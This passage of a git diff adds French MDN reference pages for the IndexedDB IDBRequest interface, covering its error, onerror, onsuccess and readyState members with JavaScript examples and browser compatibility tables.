+   <td>Erreur obtenue lorsqu'on tente d'insérer des données qui ne respectent pas une contrainte. C'est un type d'exception utilisé lorsqu'on crée des magasins d'objet et des index. On aura cette erreur lorsqu'on essaiera par exemple d'ajouter une clé qui existe déjà dans l'enregistrement.</td>
+  </tr>
+  <tr>
+   <td><code>QuotaExceededError</code></td>
+   <td>Erreur obtenue lorsque atteint le quota d'espace disque et que l'utilisateur refuse de céder plus d'espace mémoire.</td>
+  </tr>
+  <tr>
+   <td><code>UnknownError</code></td>
+   <td>Erreur obtenue lorsque l'opération a échoué pour des raisons qui ne sont pas propres à la base de données (par exemple une erreur d'écriture sur le disque).</td>
+  </tr>
+  <tr>
+   <td><code>NoError</code></td>
+   <td>Valeur utilisée lorsque la requête est réussie.</td>
+  </tr>
+  <tr>
+   <td><code>VersionError</code></td>
+   <td>Erreur obtenue lorsqu'on essaye d'ouvrir une base de données avec une version inférieure à celle dont elle dispose déjà.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En plus des codes d'erreur envoyés à l'objet {{domxref("IDBRequest")}}, les opérations asynchrones peuvent également déclencher des exceptions. La liste décrit les problèmes qui peuvent se produire lorsque la requête est en cours d'exécution mais d'autres problèmes peuvent apparaître lors de la construction de la requête. Ainsi, si la requête a échoué et que le résultat n'est pas disponible, l'exception <code>InvalidStateError </code>sera levée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on effectue une requête sur le titre de l'enregistrement. Le gestionnaire d'évèvenement <code>onsuccess</code> traite l'enregistrement obtenu depuis le magasin d'objet ({{domxref("IDBObjectStore")}}) et qui est disponible via <code>objectStoreTitleRequest.result</code>. Le gestionnaire met ensuite à jour une propriété de l'enregistrement puis replace l'enregistrement mis à jour dans le magasin d'objet.</p>
+
+<p>On dispose également d'une fonction <code>onerror</code> qui permet d'indiquer l'erreur qui s'est produite si la requêté échoue. Pour consulter un exemple complet, voir <a href="https://github.com/mdn/to-do-notifications/">l'application de notifications To-do</a> (cf. <a href="https://mdn.github.io/to-do-notifications/">la démonstration <em>live</em></a>).</p>
+
+<pre class="brush: js">var title = "Walk dog";
+
+// On ouvre une transaction
+var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+// On récupère la liste de tâches avec ce titre
+var objectStoreTitleRequest = objectStore.get(title);
+
+objectStoreTitleRequest.onsuccess = function() {
+  // On récupère l'objet du résultat
+  var data = objectStoreTitleRequest.result;
+
+  // On met à jour la valeur de la propriété notified avec "yes"
+  data.notified = "yes";
+
+  // On crée une autre requête pour replacer l'élément
+  // into the database
+  var updateTitleRequest = objectStore.put(data);
+
+  // Lorsque la requête est réussie, on utilise à nouveau
+  // la fonction the displayData() pour mettre à jour
+  // l'affichage
+  updateTitleRequest.onsuccess = function() {
+    displayData();
+  };
+};
+
+objectStoreTitleRequest.onerror = function() {
+  // S'il se produit une erreur pendant la requête
+  // on l'enregistre
+  console.log("Il y a eu une erreur pour la récupération des données : " + objectStoreTitleRequest.error);
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBRequest-error', 'error')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbrequest/index.html b/files/fr/web/api/idbrequest/index.html
new file mode 100644
index 0000000000..87759d881f
--- /dev/null
+++ b/files/fr/web/api/idbrequest/index.html
@@ -0,0 +1,129 @@
+---
+title: IDBRequest
+slug: Web/API/IDBRequest
+tags:
+  - API
+  - Database
+  - IDBRequest
+  - IndexedDB
+  - Interface
+  - Reference
+  - Storage
+  - TopicStub
+translation_of: Web/API/IDBRequest
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<p>L'interface <strong><code>IDBRequest</code></strong> de l'API IndexedDB donne accès par ses gestionnaires d'événements aux résultats des requêtes asynchrones sur la base de données, les magasins d'objets ou les index. Chaque opération d'écriture ou lecture sur la base de données utilise une requête.</p>
+
+<p>Cet objet <strong><code>IDBRequest</code></strong> ne contient aucune information sur le résultat de l'opération, mais dès qu'une information est disponible un événement est déclenché. L'objet <strong><code>IDBRequest</code></strong> utilise ses gestionnaires d'événements pour le capter et mettre l'information à disposition.</p>
+
+<p>Toute les opération asynchrone retourne immédiatement une instance <strong><code>IDBRequest</code></strong> avec une propriété <code>readyState</code> défini à <code>'pending'</code> qui passe à  <code>'done'</code> lorsque la requête réussie ou échoue. Quand l'état passe à <code>done</code>, chaque requête retourne <code>result</code> et <code>error</code>, et un évènement est envoyé sur la requête. Quand l'état est sur <code>pending</code>, chaque accès à <code>result</code> ou <code>error</code> lève une exception <code>InvalidStateError</code>.</p>
+
+<p>Pour faire simple, chaque méthode asynchrome retourne un objet de requête. Si l'opération réussi, le résultat est disponible dans la propriété <code>result</code> et un évènement <code>success</code> est lancé ({{domxref("IDBRequest.onsuccess")}}). Si une erreur est rencontrée, une exeption est disponible dans la propriété <code>error</code> et un évènement <code>error</code> est lancé ({{domxref("IDBRequest.onerror")}}).</p>
+
+<p>L'interface {{domxref("IDBOpenDBRequest")}} est dérivé de <code>IDBRequest</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("IDBRequest.result","result")}} {{readonlyInline}}</dt>
+ <dd>La propriété <strong><code>result</code></strong> de l'interface <strong><code>IDBRequest</code></strong> renvoie le résultat de la requête. Si la requête est en cours, échoue ou que le résultat n'est pas disponible, l'exception <code>InvalidStateError</code> est levée.</dd>
+ <dt>{{domxref("IDBRequest.error","error")}} {{readonlyInline}}</dt>
+ <dd>La propriété <strong><code>error</code></strong> de l'interface <strong><code>IDBRequest</code></strong> indique le code de l'erreur survenue durant le traitement de la requête. Si la requête est en cours l'exception <code>InvalidStateError</code> est levée.</dd>
+ <dt>{{domxref("IDBRequest.source","source")}} {{readonlyInline}}</dt>
+ <dd>La propriété <strong><code>source</code></strong> de l'interface <strong><code>IDBRequest</code></strong> renvoie la source de la requête, tel qu'un {{domxref("IDBIndex","index")}}, un {{domxref("IDBObjectStore","magasin d'ojets")}} ou <code>null</code> s'il n'y a pas de source (lors de l'appel {{domxref("indexedDB.open")}} par exemple).</dd>
+ <dt>{{domxref("IDBRequest.transaction","transaction")}} {{readonlyInline}}</dt>
+ <dd>La propriété <strong><code>transaction</code></strong> de l'interface <strong><code>IDBRequest</code></strong> renvoie la {{domxref("IDBTransaction","transaction")}} dans laquelle on fait la requête. La propriété peut renvoyer <code>null</code> si requête se fait sans transaction, comme un objet IDBRequest renvoyé par {{domxref("IDBFactory.open")}} dans ce cas on est juste connecté à la base de données.</dd>
+ <dt>{{domxref("IDBRequest.readyState","readyState")}} {{readonlyInline}}</dt>
+ <dd>La propriété <strong><code>readyState</code></strong> de l'interface <strong><code>IDBRequest</code></strong> renvoie l'état de la requête. Chaque requête débute avec un statut <code>pending</code> et passe au statut <code>done</code> quand la requête réussie ou échoue.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Pas de méthodes spécifiques, mais hérite des méthodes de {{domxref("EventTarget")}}.</em></p>
+
+<h2 id="Gestionnaire_dévénement">Gestionnaire d'événement</h2>
+
+<p>On peut écouter les évènement avec <code>addEventListener()</code> ou bien en assignant un gestionnaire d'évènement à la propriété <code>on<em>eventname</em></code> de cette interface.</p>
+
+<dl>
+ <dt>{{domxref("IDBRequest.onerror","onerror")}}</dt>
+ <dd>Le gestionnaire d'événement <strong><code>onerror</code></strong> de l'interface <strong><code>IDBRequest</code></strong> capte l'événement <code><a href="/en-US/docs/Web/Events/error">error</a></code>, déclenché quand une requête renvoie une erreur.</dd>
+ <dt>{{domxref("IDBRequest.onsuccess","onsuccess")}}</dt>
+ <dd>Le gestionnaire d'événement <strong><code>onsuccess</code></strong> de l'interface <strong><code>IDBRequest</code></strong> capte l'événement <code><a href="/en-US/docs/Web/Events/success">success</a></code>, déclenché quand la requête réussie.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant, on ouvre une base de données et on fait une requête. Les gestionnaires d'événement <code>{{domxref("IDBRequest.onsuccess","onsuccess")}}</code> et <code>{{domxref("IDBRequest","onerror")}}</code> sont inclus. Pour un exemple de travail complet, voir notre application <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="http://mdn.github.io/to-do-notifications/">voir l'exemple en direct</a>).</p>
+
+<pre class="brush: js notranslate">var db;
+
+// Ouvre une base de données.
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// Ces deux gestionnaires d'événement interviennent quand la dase de
+// de données s'ouvre ou non.
+DBOpenRequest.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;Error loading database.&lt;/li&gt;';
+};
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Database initialised.&lt;/li&gt;';
+
+  // Affecte le resutat de l'ouverture à la variable.
+  db = DBOpenRequest.result;
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idbrequest', 'IDBRequest')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#request-api", "IDBRequest")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>
+<div>
+<div>
+
+
+<p>{{Compat("api.IDBRequest")}}</p>
+</div>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/IndexedDB_API/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Démarrer une transaction: {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés: {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier vos données: {{domxref("IDBObjectStore")}}</li>
+ <li>utiliser les curseurs: {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbrequest/onerror/index.html b/files/fr/web/api/idbrequest/onerror/index.html
new file mode 100644
index 0000000000..a63b087f8c
--- /dev/null
+++ b/files/fr/web/api/idbrequest/onerror/index.html
@@ -0,0 +1,151 @@
+---
+title: IDBRequest.onerror
+slug: Web/API/IDBRequest/onerror
+translation_of: Web/API/IDBRequest/onerror
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<p>le gestionnaire d'événement <strong><code>onerror</code></strong> de l'interface {{domxref("IDBRequest")}} capte l'événement <code><a href="/en-US/docs/Web/Events/error">error</a></code>, déclenché quand une requête renvoie une erreur.</p>
+
+<p>Le gestionnaire d'événement reçoit l'événement <a href="/en-US/docs/Web/Events/error">error</a> avec le type="error" en paramètre.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">request.onerror = function( event ) { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant demande un titre d'enregistrement donné, <code>onsuccess</code> obtient l'enregistrement associé au {{domxref("IDBObjectStore","magasin d'objets")}} (mis à disposition en tant que <code style="font-style: normal;">objectStoreTitleRequest.result</code>), on met à jour une propriété de l'enregistrement, puis le sauve dans le magasin d'objets. En bas le gestionnaire d'événement <code>onerror</code> affiche le code d'erreur si la {{domxref("IDBRequest","requête")}} échoue. Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<pre>var title = "Walk dog";
+
+// Ouvrez une transaction comme d'habitude
+var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+// Obtenez l'objet toDoList qui a ce titre
+var objectStoreTitleRequest = objectStore.get(title);
+
+objectStoreTitleRequest.onsuccess = function() {
+  // Prenez l'objet de données renvoyé comme résultat
+  var data = objectStoreTitleRequest.result;
+
+  // Mettre à jour la valeur notified de l'objet à "yes"
+  data.notified = "yes";
+
+  // Créer une autre requête qui insère le nouvelle élément dans la base de données
+  var updateTitleRequest = objectStore.put(data);
+
+  // Lorsque cette requête réussit, appelle de la fonction displayData() pour mettre à jour l'affichage
+  updateTitleRequest.onsuccess = function() {
+    displayData();
+  };
+};
+
+objectStoreTitleRequest.onerror = function() {
+  // Si une erreur se produit à la demande, on l'affiche
+  console.log("Il y a eu une erreur dans la récupération des données: " + objectStoreTitleRequest.error);
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBRequest-onerror', 'onerror')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li><a href="/en-US/docs/Web/Events/error">Error Event</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbrequest/onsuccess/index.html b/files/fr/web/api/idbrequest/onsuccess/index.html
new file mode 100644
index 0000000000..e1f2f6fa90
--- /dev/null
+++ b/files/fr/web/api/idbrequest/onsuccess/index.html
@@ -0,0 +1,153 @@
+---
+title: IDBRequest.onsuccess
+slug: Web/API/IDBRequest/onsuccess
+translation_of: Web/API/IDBRequest/onsuccess
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+
+<p>Le gestionnaire d'événement <strong><code>onsuccess</code></strong> de l'interface {{domxref("IDBRequest")}} capte l'événement <code><a href="/en-US/docs/Web/Events/success">success</a></code>, déclenché quand la requête réussie.</p>
+
+<p>Le gestionnaire d'événement un événement <a href="/en-US/docs/Web/Events/success">success</a> avec le type="success" en paramètre.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">request.onsuccess = function( event ) { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant demande un titre d'enregistrement donné, <code>onsuccess</code> obtient l'enregistrement associé de {{domxref("IDBObjectStore")}} (mis à disposition en tant que <code>objectStoreTitleRequest.result</code>), on met à jour une propriété de l'enregistrement, puis le sauve dans le magasin d'objets. En bas le gestionnaire d'événement <code>onerror</code> affiche le code d'erreur si la requête échoue. Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<pre>var title = "Walk dog";
+
+// Ouvrez une transaction comme d'habitude
+var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+// Obtenez l'objet toDoList qui a ce titre
+var objectStoreTitleRequest = objectStore.get(title);
+
+objectStoreTitleRequest.onsuccess = function() {
+  // Prenez l'objet de données renvoyé comme résultat
+  var data = objectStoreTitleRequest.result;
+
+  // Mettre à jour la valeur notified de l'objet à "yes"
+  data.notified = "yes";
+
+  // Créer une autre requête qui insère le nouvelle élément dans la base de données
+  var updateTitleRequest = objectStore.put(data);
+
+  // Lorsque cette requête réussit, appelle de la fonction displayData() pour mettre à jour l'affichage
+  updateTitleRequest.onsuccess = function() {
+    displayData();
+  };
+};
+
+objectStoreTitleRequest.onerror = function() {
+  // Si une erreur se produit à la demande, on l'affiche
+  console.log("Il y a eu une erreur dans la récupération des données: " + objectStoreTitleRequest.error);
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBRequest-onsuccess', 'onsuccess')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li><a href="/en-US/docs/Web/Events/success">Success Event</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbrequest/readystate/index.html b/files/fr/web/api/idbrequest/readystate/index.html
new file mode 100644
index 0000000000..2093d5e30a
--- /dev/null
+++ b/files/fr/web/api/idbrequest/readystate/index.html
@@ -0,0 +1,175 @@
+---
+title: IDBRequest.readyState
+slug: Web/API/IDBRequest/readyState
+tags:
+  - API
+  - IDBRequest
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBRequest/readyState
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>readyState</code></strong>, rattachée à l'interface {{domxref("IDBRequest")}}, est une propriété en lecture seule qui indique l'état de la requête.</p>
+
+<p>Chaque requête démarre avec l'état <code>pending</code> (c'est-à-dire en attente). Cet état vaut ensuite <code>done</code> (fini) lorsque la requête est terminée (en cas de réussite de l'opération comme en cas d'échec).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>currentReadyState</em> = <em>request</em>.readyState;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>La valeur {{domxref("IDBRequestReadyState")}} de la requête, qui peut être l'un de deux valeurs. <code>pending</code> lorsque la requête est en attente, <code>done</code> lorsque celle-ci est finie.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on effectue une requête sur un enregistrement avec un titre donné et on recupère l'enregistrement associé grâce au gestionnaire d'évènement <code>onsuccess</code> à partir du magasin d'objets {{domxref("IDBObjectStore")}}. Ensuite, on met à jour une des propriétés de cet enregistrement et on replace cet objet mis à jour dans le magasin d'objets via une autre requête. La valeur de la propriété <code>readyState</code> pour la deuxième requête est affichée dans la console. Pour consulter un exemple fonctionnel complet, vous pouvez vous référer à notre appliction <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">cf. également l'exemple <em>live</em></a>).</p>
+
+<pre class="brush: js">var title = "Walk dog";
+
+// On ouvre une transaction
+var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+// On récupère l'enregistrement avec le titre souhaité
+var objectStoreTitleRequest = objectStore.get(title);
+
+objectStoreTitleRequest.onsuccess = function() {
+  // On récupère les données du résultat de la requête
+  var data = objectStoreTitleRequest.result;
+
+  // On met à jour la propriété notified de l'objet
+  // avec la valeur "yes"
+  data.notified = "yes";
+
+  // Ensuite, on crée une autre requête pour insérer
+  // l'enregistrement dans la base de données
+  var updateTitleRequest = objectStore.put(data);
+
+  // On affiche l'état de la requête dans la console
+  console.log("La valeur de readyState est " + updateTitlerequest.readyState);
+
+  // Lorsque cette deuxième requête est appliquée,
+  // on exécute la fonction displayData() afin d'afficher
+  // les données à jour
+  updateTitleRequest.onsuccess = function() {
+    displayData();
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBRequest-readyState', 'readyState')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#dom-idbrequest-readystate", "readyState")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 (sans préfixe)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
